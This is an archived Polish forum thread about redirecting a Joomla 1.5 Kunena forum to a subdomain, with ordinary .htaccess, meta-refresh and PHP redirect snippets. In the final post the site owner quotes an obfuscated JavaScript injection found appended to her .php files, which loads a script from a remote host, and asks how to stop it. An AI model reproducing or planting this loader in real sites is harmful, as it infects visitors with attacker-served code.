PDA

Zobacz pełną wersję : Joomla 1.5. + Kunena / .htacces przekierowanie forum na forum.domena.pl



Izabela80
26-11-2009, 16:34
Witam,
Zainstalowałam Joomla 1.5. + Kunena.
Mam problem z przekierowaniem, ponieważ forum jest zainstalowane jak component.

Jak zrobić przekierowanie forum aby przekierowywało na forum.domena.pl
W joomla ustawiłam, że kunena jest pod linkiem forum.
Aktualnie w .htaccess mam coś takiego (przekierowywuje ale strona jest pusta)




RewriteEngine On

RewriteCond %{HTTP_HOST} ^domena.pl [NC]
RewriteRule ^(.*)$ http://www.domena.pl/$1 [R=301,L]

RewriteRule ^forum.html?$ http://forum.domena.pl [R=301,L]




proszę o pomoc

moje
26-11-2009, 17:18
W panelu zarządzania domeną utwórz pod domenę z adresem do forum i ustaw aby ten adres wyświetlał zawartość katalogu public_html/forum/, wtedy będzie działaś jak należy. Nie zapomnij, żeby wszystkie linki do forum były podawane z adresem pod domeny (forum.domena.pl).

Izabela80
26-11-2009, 22:43
W panelu zarządzania domeną utwórz pod domenę z adresem do forum i ustaw aby ten adres wyświetlał zawartość katalogu public_html/forum/, .
katalog forum jest pusty czy coś do niego wgrać?

po tych zmianach - forum.domena.pl jest biała

souacz
26-11-2009, 23:12
Jeśli Joomla instalowałaś tylko po to, żeby było forum (bo nie wiem) wystarczy domyślną pozycje menu ustawić na forum i podpiąć domene pod katalog z Twoją Joomla.
Jeśli masz coś tam jeszcze co wyświetla się pod inną domeną (w tej Joomla) to możesz zrobić przekierowanie na url (Twojego forum)
A jak nie masz mozliwości przekierowywania domeny na url to możesz utworzyć katalog forum, podpiąć do niego domene forum.domena.pl, umiescic w nim index.html z zawartym np. flashem, który na pierwszej klatce ma wpisany skrypt przekierowujący na url forum

trzepiz
27-11-2009, 00:44
umiescic w nim index.html z zawartym np. flashem, który na pierwszej klatce ma wpisany skrypt przekierowujący na url foruma prościej się nie da ?

1. redirect html

<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.yourdomain.com/index.html">
2. redirect php

<?PHP header("Location: http://www.example.com/"); exit ?> no i jeszcze zawsze .htaccess

souacz
27-11-2009, 00:49
Pewnie, że się da :)
Napisałem "na przykład" bo większość ludzi ma problem z najprostszym kodem HTML, o php nie wspominając. A flashowego "samograja" ma prawie każdy i zrobienie takiej "animacji" to sekunda.
Poza tym można w tym jakieś intro "śliczne" zrobić ;)

Izabela80
27-11-2009, 11:57
Jeśli Joomla instalowałaś tylko po to, żeby było forum (bo nie wiem) wystarczy domyślną pozycje menu ustawić na forum i podpiąć domene pod katalog z Twoją Joomla.



Na stronie <a href="http://www.domena.pl/" target="_blank">

domena.pl jest joomla zaisntalowana w katalogu public_html/domena.pl/
Dodatkowo zainstalowałam Forum Kunena (dodatkowy komponent), na głównej stronie wywołuję forum na adres

domena.pl/forum a w .htaccess robię przekierowanie na forum.domena.pl natomist po wejsciu na forum.domena.pl jest biała strona (utworzylam tez katalog na subdomeny public_html/forum/ ) ale też strona jest biała.

Izabela80
28-11-2009, 21:50
Piszę dalej w tym wątku bo jestem spanikowana.

Czy w joomla jest luka?
Ktoś dokleił do moich plików .php taki ciąg znaków:

**********/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAt tribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src', 'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>

Jak temu zapobiec?